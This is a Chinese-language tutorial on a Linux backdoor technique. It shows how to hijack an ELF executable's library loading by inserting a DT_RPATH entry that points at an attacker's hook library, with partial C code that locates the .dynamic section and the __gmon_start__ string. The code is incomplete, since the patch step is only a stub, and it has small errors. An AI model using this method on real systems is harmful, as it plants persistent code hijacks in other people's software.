後門技術(HOOK篇)之DT_RPATH
0x01 GNU ld.so動態庫搜索路徑
參考材料:https://en.wikipedia.org/wiki/Rpath
下面介紹GNU ld.so加載動態庫的先後順序:
-
LD_PRELOAD環境變量指定的路徑(一般對應文件/etc/ld.so.preload);
-
ELF .dynamic節中DT_RPATH入口指定的路徑,若DT_RUNPATH入口不存在的話;
-
環境變量LD_LIBRARY_PATH指定的路徑,但如果可執行文件有setuid/setgid權限,則忽略這個路徑;編譯時指定--library-path會覆蓋這個路徑;
-
ELF .dynamic節中DT_RUNPATH入口指定的路徑;
-
ldconfig緩存中的路徑(一般對應/etc/ld.so.cache文件),若編譯時使用了-z nodeflib的鏈接選項,則此步跳過;
-
/lib,然後/usr/lib路徑 ,若使用了-z nodeflib鏈接選項,則此步亦跳過;
0x02 原理分析
參考材料:http://linux.chinaunix.net/techdoc/system/2009/04/30/1109602.shtml
作者:alert7
從上面分析的搜索路徑來看,DT_RPTAH先於/lib和/usr/lib,因此通過修改ELF,在.dynamic中加入DT_RPATH的入口,就可以讓可執行文件優先加載我們的動態庫,實現劫持的目的;
加入自定義的DT_RPTAH有兩種方式,修改原有的DT_RPATH入口,插入新的DT_RPATH入口;一般ELF文件.dynamic中,都沒有這一入口,因此選擇新插入;
這裏遇到2個問題,一是定位.dynamic位置,並插入新的entry;二是在ELF中插入我們HOOK用動態庫路徑;
現在解決第一個問題。
32位系統下,.dynamic入口由下面數據結構表示:
glibc-2.18/elf/elf.h
/* Dynamic section entry. */ typedef struct { Elf32_Sword d_tag; /* Dynamic entry type */ union { Elf32_Word d_val; /* Integer value */ Elf32_Addr d_ptr; /* Address value */ } d_un; } Elf32_Dyn;
其中d_tag表示入口類型:
/* Legal values for d_tag (dynamic entry type). */
#define DT_NULL 0 /* Marks end of dynamic section */
#define DT_NEEDED 1 /* Name of needed library */
#define DT_STRTAB 5 /* Address of string table */
#define DT_SYMTAB 6 /* Address of symbol table */
#define DT_RPATH 15 /* Library search path (deprecated) */
...
在.dynamic中,有許多未使用的入口,我們只需找到一處,寫入即可;而ELF中,根據偏移定位某個節表比較容易的;
接下來解決第二個問題,將動態庫路徑加入ELF中;考慮到加入新的內容,ELF頭等位置的偏移都要重新修正,因此最好的辦法是修改一處已有字符串,我們選擇修改__gmon_start__,因為它在所有程序中都有;
剩下的任務就是1.定位__gmon_start__並修改,2.返回其在字符串表中的index;
畫了張圖,幫助理解:
0x03 代碼實現
首先實現DT_RPATH定位功能:
#define ERREXIT(err) do {perror(err);return -1;}while(1)
int elf_rpath_entry(const char *filename)
{
printf("+ enter elf_rpath_entry\n");
int fd = open(filename, O_RDONLY);
if (fd < 0) ERREXIT("open");
struct stat statbuf;
fstat(fd, &statbuf);
char *fbase = mmap(NULL, statbuf.st_size, PROT_READ, MAP_SHARED, fd, 0);
if (fbase == NULL) ERREXIT("mmap");
Elf32_Ehdr *ehdr = (Elf32_Ehdr *)fbase;
Elf32_Shdr *sects = (Elf32_Shdr *)(fbase + ehdr->e_shoff);
int shsize = ehdr->e_shentsize;
int shnum = ehdr->e_shnum;
int shstrndx = ehdr->e_shstrndx;
Elf32_Shdr *shstrsect = §s[shstrndx];
char *shstrtab = fbase + shstrsect->sh_offset;
int i;
int _sh_size, _sh_entsize;
int _sh_offset;
for(i = 0; i < shnum; i++) {
if(!strcmp(shstrtab + sects[i].sh_name, ".dynamic")) {
printf("+ found the .dynamic section\n");
_sh_size = sects[i].sh_size;
_sh_entsize = sects[i].sh_entsize;
_sh_offset = sects[i].sh_offset;
break;
}
}
Elf32_Dyn *dyn = (Elf32_Dyn*)(fbase + _sh_offset);
for (i = 0; i < _sh_size; i+=_sh_entsize) {
if (dyn->d_tag == DT_RPATH) {
printf("+ got DT_RPATH entry\n");
break;
}
dyn++;
}
close(fd);
munmap(fbase, statbuf.st_size);
printf("+ exit elf_rpath_entry\n");
return 0;
}
接下來,查找並修改__gmon_start__字符串,並返回其索引:
int modify_symbols(const char *fbase)
{
Elf32_Ehdr *ehdr = (Elf32_Ehdr*)fbase;
Elf32_Shdr *shdr = (Elf32_Shdr *)(fbase + ehdr->e_shoff);
Elf32_Shdr *shdrp = shdr;
Elf32_Shdr *strsym = NULL;
int i;
int find = 0;
for(i = 0; i < ehdr->e_shnum; i++) {
if(shdrp->sh_type == SHT_DYNSYM) {
find=1;
break;
}
shdrp++;
}
if(!find) {
printf("+ not find SHT_DYNSYM\n");
return -1;
}
strsym = &shdr[shdrp->sh_link];
char *str = (char*)(fbase + strsym->sh_offset);
Elf32_Sym *symp;
symp = (Elf32_Sym*)(fbase + shdrp->sh_offset);
for(i = 0; i < shdrp->sh_size; i += shdrp->sh_entsize) {
if(!strcmp(&str[symp->st_name], "__gmon_start__")) {
/* modify here */
return symp->st_name;
}
symp++;
}
printf("+ not find match symbol\n");
return -1;
}
對於__gmon_start__符號的查找涉及3個部分,一是節區頭部表,主要用來索引字符串表與符號表;符號表中通過索引,引用字符串中實際字符串,如symp->st_name實際只是索引;
下圖幫助理解上述代碼過程:
後門技術(HOOK篇)之DT_RPATH